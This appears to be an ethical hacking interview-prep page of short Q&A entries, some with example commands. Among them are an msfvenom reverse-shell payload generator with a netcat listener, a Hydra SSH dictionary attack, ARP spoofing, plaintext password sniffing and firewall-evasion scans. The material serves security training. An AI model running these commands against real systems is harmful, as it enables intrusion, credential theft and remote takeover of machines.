ETHICAL HACKING BASICS
> Accessing encrypted interview protocols... [OK]
> Loading 100+ cybersecurity defense modules... [OK]
> Initialize your path to becoming a certified security professional.
What is Ethical Hacking?
BeginnerEthical hacking involves an authorized attempt to gain unauthorized access to a computer system, application, or data. The goal is to identify securit...
Explain the CIA Triad.
BeginnerThe CIA triad is a foundational model for information security: 1. **Confidentiality**: Ensuring that data is accessible only to authorized individual...
What are the different types of hackers?
Beginner- **White Hat**: Ethical hackers who use their skills for defensive purposes with permission. - **Black Hat**: Malicious hackers who violate security ...
What is Footprinting?
BeginnerFootprinting is the first phase of ethical hacking. It involves gathering as much information as possible about a target network or system to identify...
What is the difference between VAPT and Penetration Testing?
Beginner- **Vulnerability Assessment (VA)**: A passive process of identifying and reporting known vulnerabilities without exploiting them. - **Penetration Tes...
What is Social Engineering?
BeginnerSocial engineering is the psychological manipulation of people into performing actions or divulging confidential information. Examples include Phishin...
What is Phishing?
BeginnerPhishing is a type of social engineering where an attacker sends fraudulent messages (usually via email) designed to trick a person into revealing sen...
What is a Firewall?
BeginnerA firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization's previously establis...
What is an IDS and IPS?
Beginner- **IDS (Intrusion Detection System)**: Monitors network traffic for suspicious activity and alerts defenders. - **IPS (Intrusion Prevention System)**...
What is the purpose of Cryptography?
BeginnerCryptography is the science of securing communication by converting plain text into an unreadable format (ciphertext) using mathematical algorithms an...
What is Symmetric vs Asymmetric Encryption?
Beginner- **Symmetric**: Uses the same key for both encryption and decryption (e.g., AES). - **Asymmetric**: Uses a public key for encryption and a private ke...
What is Hashing?
BeginnerHashing is a one-way mathematical function that turns data into a fixed-length string of characters. Unlike encryption, hashing cannot be reversed. It...
What is a DoS and DDoS attack?
Beginner- **DoS (Denial of Service)**: An attack aimed at making a system or network resource unavailable to its intended users. - **DDoS (Distributed DoS)**:...
What is a Botnet?
BeginnerA botnet is a network of hijacked computer devices (bots) that are under the control of a single attacking party (the botmaster or botherder). They ar...
What is the 5-step process of Hacking?
Beginner1. **Reconnaissance**: Information gathering. 2. **Scanning**: Identifying open ports and services. 3. **Gaining Access**: Exploiting vulnerabilities....
What is Brute Force Attack?
BeginnerA brute force attack is a trial-and-error method used by application programs to decode encrypted data, such as passwords or Data Encryption Standard ...
What is a Rootkit?
BeginnerA rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not ot...
What is the difference between a Virus and a Worm?
Beginner- **Virus**: Requires a human action to spread (e.g., opening a file) and attaches itself to a program. - **Worm**: A standalone program that can self...
What is the OSI Model?
BeginnerThe OSI model consists of 7 layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application. Understanding these layers is cru...
What is Port Scanning?
BeginnerPort scanning is a method used to determine which ports on a network are open and could be receiving or sending data. It's also used to send packets t...
nmap -sS -p 1-65535 <target_ip>Common ports to remember?
Beginner- 21: FTP - 22: SSH - 23: Telnet - 25: SMTP - 53: DNS - 80: HTTP - 443: HTTPS - 3389: RDP
What is a VPN?
BeginnerA Virtual Private Network (VPN) creates a secure, encrypted tunnel over the internet between your device and a server. It masks your IP address and en...
What is the 'Principle of Least Privilege' (PoLP)?
BeginnerPoLP is the practice of limiting access rights for users to the bare minimum permissions they need to perform their job functions. This reduces the ri...
What is a SQL Injection (SQLi)?
BeginnerSQLi is a type of vulnerability where an attacker can interfere with the queries that an application makes to its database. It allows attackers to vie...
What is the difference between TCP and UDP?
Beginner- **TCP**: Connection-oriented, reliable, ensures packets arrive in order (e.g., HTTP, SSH). - **UDP**: Connectionless, faster but unreliable, no guar...
What are the 6 phases of Penetration Testing?
Intermediate1. **Planning and Reconnaissance**: Gathering info. 2. **Scanning**: Using tools like Nmap to see open ports. 3. **Gaining Access**: Exploiting vulner...
What is OWASP Top 10?
IntermediateThe OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus on the most critical se...
What is XSS (Cross-Site Scripting)?
IntermediateXSS is a vulnerability where an attacker injects malicious scripts into content from otherwise trusted websites. When a user visits the page, the scri...
Explain the three types of XSS.
Intermediate1. **Stored (Persistent)**: The malicious script is permanently stored on the server (e.g., in a comment field). 2. **Reflected (Non-persistent)**: Th...
What is CSRF (Cross-Site Request Forgery)?
IntermediateCSRF is an attack that forces an authenticated user to execute unwanted actions on a web application in which they're currently authenticated. With a ...
What is a 'Man-in-the-Middle' (MitM) attack?
IntermediateA MitM attack is where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicat...
What is ARP Spoofing?
IntermediateARP spoofing is a technique where an attacker sends fake Address Resolution Protocol (ARP) messages onto a local area network to link their MAC addres...
arpspoof -i eth0 -t 192.168.1.5 192.168.1.1Explain the difference between Encoding, Encrypting, and Hashing.
Intermediate- **Encoding**: Data transformation for compatibility (not for security). - **Encrypting**: Data transformation for confidentiality (reversible with a...
What is SQLmap and how do you use its basic command?
IntermediateSQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
sqlmap -u "http://test.com/index.php?id=1" --dbsWhat is Burp Suite?
IntermediateBurp Suite is an integrated platform for performing security testing of web applications. Its various tools work together to support the entire testin...
What is a Reverse Shell vs Bind Shell?
Intermediate- **Bind Shell**: The attacker connects to a listener on the victim's machine (often blocked by firewalls). - **Reverse Shell**: The victim machine co...
What is Enumeration?
IntermediateEnumeration is the stage where the attacker tries to gain more detailed information about the target. This includes identifying usernames, network res...
Explain Nmap scripts (NSE).
IntermediateNmap Scripting Engine (NSE) allows users to write simple scripts to automate a wide variety of networking tasks. These scripts can perform vulnerabili...
nmap --script vuln <target>What is 'Salting' in password hashing?
IntermediateSalting is the addition of a unique, random string of characters to each password before it is hashed. This makes it much harder for attackers to use ...
What is a 'Zombie' in the context of cyberattacks?
IntermediateA zombie is a computer connected to the internet that has been compromised by a hacker, computer virus, or trojan horse and can be used to perform mal...
What is Metasploit Framework?
IntermediateMetasploit is the world's most used penetration testing framework. It helps security teams verify vulnerabilities, manage security assessments, and im...
What is the difference between a False Positive and a False Negative?
Intermediate- **False Positive**: A security tool incorrectly identifies a benign activity as a threat. - **False Negative**: A security tool fails to identify a ...
What is a 'Buffer Overflow'?
IntermediateA buffer overflow occurs when a program writes more data to a buffer (a temporary storage area in memory) than it can hold. This can cause the program...
What is 'Netcat' (nc)?
IntermediateNetcat is a versatile networking utility used for reading from and writing to network connections using TCP or UDP. Often called the 'Swiss Army Knife...
nc -lvp 4444 # Listens for connections on port 4444What is Sniffing?
IntermediateSniffing is the process of monitoring and capturing all data packets passing through a given network using a sniffing tool. Examples of sniffing tools...
What is the 'Same-Origin Policy' (SOP)?
IntermediateSOP is a critical security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with a resource from ...
What is Cross-Site Scripting (XSS) Mitigation?
IntermediateMitigation strategies include: 1. **Input Validation**: Ensuring input meets expected formats. 2. **Output Encoding**: Converting characters like `<` ...
What is 'Broken Access Control'?
IntermediateThis vulnerability occurs when a web application fails to properly enforce restrictions on what authenticated users are allowed to do. For example, a ...
What is 'Credential Stuffing'?
IntermediateCredential stuffing is a type of cyberattack where an attacker uses a large list of compromised usernames and passwords (from a previous data breach) ...
What is the difference between vulnerability scanning and port scanning?
Intermediate- **Port Scanning**: Identifies open ports and services running on a target host. - **Vulnerability Scanning**: Identifies specific software security ...
Explain 'Pivoting' in penetration testing.
AdvancedPivoting is the act of using a compromised system to attack or gather information about other systems on the same internal network that were previousl...
What is a 'Zero-Day' vulnerability?
AdvancedA zero-day vulnerability is a software security flaw that is known to the attacker but unknown to the vendor. The 'zero-day' name refers to the fact t...
What is 'Steganography'?
AdvancedSteganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. Unlike cryptography, it hi...
Explain 'Honey Pots'.
AdvancedA honeypot is a decoy computer system that is intentionally left vulnerable to hackers. Its purpose is to lure attackers away from real systems, study...
What is the difference between a Black Box and a White Box test?
Advanced- **Black Box**: The tester has zero knowledge of the internal systems (simulates a real outside attacker). - **White Box**: The tester has full knowl...
What is 'Fuzzing'?
AdvancedFuzzing (or fuzz testing) is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a comput...
What is an 'Evil Twin' attack?
AdvancedAn evil twin is a fraudulent Wi-Fi access point that appears to be legitimate but is set up to eavesdrop on wireless communications. It's the wireless...
Explain 'DDoS Mitigation' techniques.
AdvancedCommon techniques include: 1. **Scrubbing Centers**: Rerouting traffic through a specialized network to filter out the bad traffic. 2. **Rate Limiting...
What is 'DNS Tunneling'?
AdvancedDNS tunneling is a method for encoding the data of other programs or protocols in DNS queries and responses. Attackers use it to bypass firewalls and ...
What is 'BlueTeaming' vs 'RedTeaming'?
Advanced- **Red Team**: Offensive security professionals who simulate real-world attacks to test security defenses. - **Blue Team**: Defensive security profes...
What is 'Privilege Escalation'?
AdvancedPrivilege escalation is the act of exploiting a bug, design flaw, or configuration error in an operating system or software application to gain elevat...
What is a 'Sandbox' in cybersecurity?
AdvancedA sandbox is a security mechanism for separating running programs, usually in an effort to mitigate system failures or software vulnerabilities from s...
What is 'WAF' (Web Application Firewall)?
AdvancedA WAF is a specific type of firewall that filters, monitors, and blocks HTTP traffic to and from a web application. It differs from a regular firewall...
What is 'Penetration Testing Reporting'?
AdvancedReporting is the final and most important phase of a penetration test. It detail the vulnerabilities found, their severity, the evidence of exploitati...
What is 'Session Hijacking'?
AdvancedSession hijacking (sometimes known as cookie hijacking) is the exploitation of a valid computer session—sometimes called a session key—to gain unautho...
Explain 'Cryptography' vs 'Steganography'.
Advanced- **Cryptography**: The message is visible but scrambled/unreadable without a key. - **Steganography**: The message itself is hidden, its very existen...
What are the common vulnerabilities in IoT devices?
Advanced1. Weak, Guessable, or Hardcoded Passwords. 2. Insecure Network Services. 3. Insecure Ecosystem Interfaces (e.g., cloud, web, mobile API). 4. Lack of ...
What is 'Air Gapping'?
AdvancedAn air gap is a network security measure employed on one or more computers to ensure that a secure computer network is physically isolated from unsecu...
Explain the importance of 'Patch Management'.
AdvancedPatch management is the process of distributing and applying updates to software. These patches are often necessary to correct security vulnerabilitie...
What is 'Packet Injection'?
AdvancedPacket injection is a computer networking term that refers to the act of an attacker injecting a packet into a network to disrupt communication or tri...
What is an 'SQL Injection' (Blind SQLi)?
AdvancedBlind SQLi is a type of SQL Injection where the database does not output any information to the web page. The attacker must use time-delays or boolean...
Explain 'Bug Bounty' programs.
AdvancedA bug bounty program is a deal offered by many websites, organizations, and software developers by which individuals can receive recognition and compe...
What is 'Cyber Forensics'?
AdvancedComputer forensics is the field of technology that uses investigative techniques to identify and preserve evidence from a computer device. It's often ...
What is 'Bypassing 2FA' techniques?
AdvancedAttackers can bypass 2FA using techniques like: Session Cookie theft, SIM Swapping, Real-time Phishing (Proxies), and Social Engineering the help desk...
What is 'Reverse Engineering' in security?
AdvancedIn the context of security, reverse engineering is used to analyze malware to see what it does, or to analyze software to find hidden vulnerabilities ...
Scenario: You find an open port 80. What is your next step?
ScenarioPerform service version detection and then browse the site to identify the technology stack (e.g., CMS, Web Server version) and look for obvious entry...
nmap -sV -p 80 <target>Scenario: How to identify the operating system of a remote host?
ScenarioUse Nmap with the `-O` flag for OS fingerprinting. It analyzes how the target responds to specific TCP/IP packets.
nmap -O <target>Scenario: You want to capture passwords on a local network. Tools?
ScenarioUse Wireshark or Tcpdump for packet capturing. If the traffic is unencrypted (HTTP, FTP, Telnet), you can see credentials in plain text.
tcpdump -i eth0 -A | grep -i "pass"Scenario: How to check if a website is vulnerable to SQL injection using a tool?
ScenarioUse SQLmap with high risk and level parameters for a thorough scan.
sqlmap -u "URL" --batch --risk=3 --level=5Scenario: How to perform a dictionary attack on an SSH service?
ScenarioUse Hydra with a username list and a password list.
hydra -L users.txt -P pass.txt <target> sshScenario: You need to bypass a firewall to scan a target. Techniques?
ScenarioUse Nmap's fragmentation (`-f`), decoy (`-D`), or idle scan (`-sI`) features.
nmap -f -sS <target>Scenario: How to find hidden directories on a web server?
ScenarioUse directory busting tools like Gobuster or Dirb with a wordlist.
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txtScenario: You have a hash and want to crack it. Tool?
ScenarioUse John the Ripper or Hashcat. Hashcat is generally faster as it uses GPU acceleration.
hashcat -m 0 -a 0 <hash_file> <wordlist>Scenario: How to generate a malicious payload for a Windows machine?
ScenarioUse MSFvenom (part of Metasploit) to create an executable with a reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > shell.exeScenario: How to listen for a reverse shell connection?
ScenarioUse the Metasploit multi-handler or Netcat.
nc -lvnp 4444Scenario: You suspect an employee is sending sensitive data in images. Technique?
ScenarioSteganography. Use tools like `steghide` to extract hidden data from image or audio files.
steghide extract -sf suspicious.jpgScenario: How to check for vulnerabilities in a WordPress site?
ScenarioUse WPScan to identify vulnerable plugins, themes, and outdated core versions.
wpscan --url http://example.com --enumerate vp,vt,uScenario: How to conduct a DNS zone transfer attempt?
ScenarioUse the `dig` command with the `axfr` type. If successful, it reveals all records for the domain.
dig @<nameserver> <domain> axfrScenario: How to identify subdomains of a target domain?
ScenarioUse tools like Sublist3r, Amass, or online search engines specialized in subdomain discovery.
sublist3r -d example.comScenario: What is 'Shodan' and how is it used?
ScenarioShodan is a search engine for internet-connected devices. It allows hackers to find vulnerable servers, IoT devices, and industrial control systems ba...
Scenario: How to automate security headers check for a website?
ScenarioUse online tools like securityheaders.com or command-line tools like `curl` to inspect the response headers.
curl -I https://example.comScenario: You find a 'git' directory exposed on a web server. Importance?
ScenarioCritical risk. An attacker can use tools like `git-dumper` to download the entire repository, including source code, credentials, and history.
Scenario: How to check if a specific CV-2021-44228 (Log4Shell) exists on a network?
ScenarioUse specialized vulnerability scanners or Nmap scripts designed to trigger the JNDI lookup and detect the response.
Scenario: How to perform Google Dorking for sensitive files?
ScenarioUse advanced Google search operators like `filetype:pdf` and `intitle:"index of"`.
site:example.com filetype:logScenario: What to look for in a post-exploitation phase?
ScenarioLook for configuration files, backup databases, SSH keys, browse browser history, and attempt privilege escalation to gain root/SYSTEM access.
Scenario: How to identify the used web framework in a browser?
ScenarioUse browser extensions like Wappalyzer or BuiltWith, or check the source code for unique file paths (e.g., `wp-content` for WordPress).
Scenario: How to test for insecure direct object references (IDOR)?
ScenarioManually change ID parameters in the URL or request body (e.g., change `user_id=101` to `user_id=102`) to see if you can access other users' data.
Scenario: How to check if an email has been leaked in a data breach?
ScenarioUse services like 'Have I Been Pwned' (HIBP) which aggregate data from thousands of breaches.
Scenario: A server is responding slowly to all requests after a specific time. Possible cause?
ScenarioCould be a scheduled DDoS attack, a resource-heavy cron job, or a performance-bottleneck vulnerability (like ReDoS) being exploited.
What is your ethical responsibility after finding a vulnerability?
ScenarioDocument the finding clearly, report it to the owner through proper channels (Responsible Disclosure), give them time to fix it, and offer assistance ...